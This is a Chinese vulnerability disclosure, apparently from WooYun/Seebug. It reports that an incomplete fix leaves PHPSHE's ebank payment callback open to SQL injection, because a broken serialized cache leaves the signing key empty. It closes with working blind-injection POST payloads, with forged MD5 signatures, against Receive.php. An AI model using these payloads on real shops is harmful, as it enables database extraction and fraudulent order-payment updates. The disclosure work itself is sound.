### 简要描述:
又SQL注入了。
### 详细说明:
[WooYun: PHPSHE SQL注入](http://www.wooyun.org/bugs/wooyun-2014-077823)
来看看这个去年的漏洞修复的怎么样了- -
```
<?php
include('../../../../common.php');
$cache_payway = cache::get('payway');
$payway = unserialize($cache_payway['ebank']['payway_config']);
$key = $payway['ebank_md5']; //??????????这个位置呢?
$v_oid =trim($_POST['v_oid']);
$v_pmode =trim($_POST['v_pmode']);
$v_pstatus =trim($_POST['v_pstatus']);
$v_pstring =trim($_POST['v_pstring']);
$v_amount =trim($_POST['v_amount']);
$v_moneytype =trim($_POST['v_moneytype']);
$remark1 =trim($_POST['remark1']);
$remark2 =trim($_POST['remark2']);
$v_md5str =trim($_POST['v_md5str']);
/**
* 重新计算md5的值
*/
$md5string=strtoupper(md5($v_oid.$v_pstatus.$v_amount.$v_moneytype.$key));
/**
* 判断返回信息,如果支付成功,并且支付结果可信,则做进一步的处理
*/
if ($v_md5str==$md5string) {
if($v_pstatus=="20") {
$info = $db->pe_select('order', array('order_id'=>$v_oid));
if ($info['order_state'] == 'notpay') {
$order['order_outid'] = $v_pmode;
$order['order_payway'] = 'ebank';
$order['order_state'] = 'paid';
$order['order_ptime'] = time();
$db->pe_update('order', array('order_id'=>$v_oid), $order);
pe_success('订单支付成功...');
}
}
else {
echo "支付失败";
}
}
else{
echo "
校验失败,数据可疑"; //多了这么一句- - 不知道其他地方修复的怎么样
}
?>
</BODY>
</HTML>
```
可以看到官网也更新了
[<img src="https://images.seebug.org/upload/201504/01231922d4f083dabe46d01ff869a61d607fdae9.png" alt="3333.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/01231922d4f083dabe46d01ff869a61d607fdae9.png)
接下来检查$payway['ebank_md5']; 这个值在哪里。
后台的话是在
http://localhost/admin.php?mod=payway&act=edit&id=1
[<img src="https://images.seebug.org/upload/201504/01232032fceb5ef7ddf225c495d28cfa6bb880b1.png" alt="55555.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/01232032fceb5ef7ddf225c495d28cfa6bb880b1.png)
然后这个值是写在
\data\cache\payway.cache.php里面的。
[<img src="https://images.seebug.org/upload/201504/0123232658fce870cca6cbd74f76ea29db668e37.png" alt="7777.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/0123232658fce870cca6cbd74f76ea29db668e37.png)
本来以为修复好了,但是!
这个serialize明显错了,所以unserialize根本就解不出正确的ebank_md5的值,因此这里$key还是空的,导致了再次的注入。
### 漏洞证明:
所以注入方式还是那样的。
真:
localhost/include/plugin/payway/ebank/Receive.php
POST:
v_oid=1504010001' and substring(user(),1,1)=char(114)-- 1&v_pstatus=20&v_amount=1&v_moneytype=1&v_md5str=142B4BECC6EBEDDF345ED1EDAA4CD1A1
就会更新数据库。
[<img src="https://images.seebug.org/upload/201504/01232719222130d041fb54a037158bf17c9cf825.png" alt="1111.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/01232719222130d041fb54a037158bf17c9cf825.png)
假:
localhost/include/plugin/payway/ebank/Receive.php
POST:
v_oid=1504010001' and substring(user(),1,1)=char(11)-- 1&v_pstatus=20&v_amount=1&v_moneytype=1&v_md5str=E525D914466B228CD57DEDB0D90F8674
就只执行一条语句。
[<img src="https://images.seebug.org/upload/201504/012329183180ccaa831d4f9f778a07db2e73608e.png" alt="2222.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/012329183180ccaa831d4f9f778a07db2e73608e.png)
暂无评论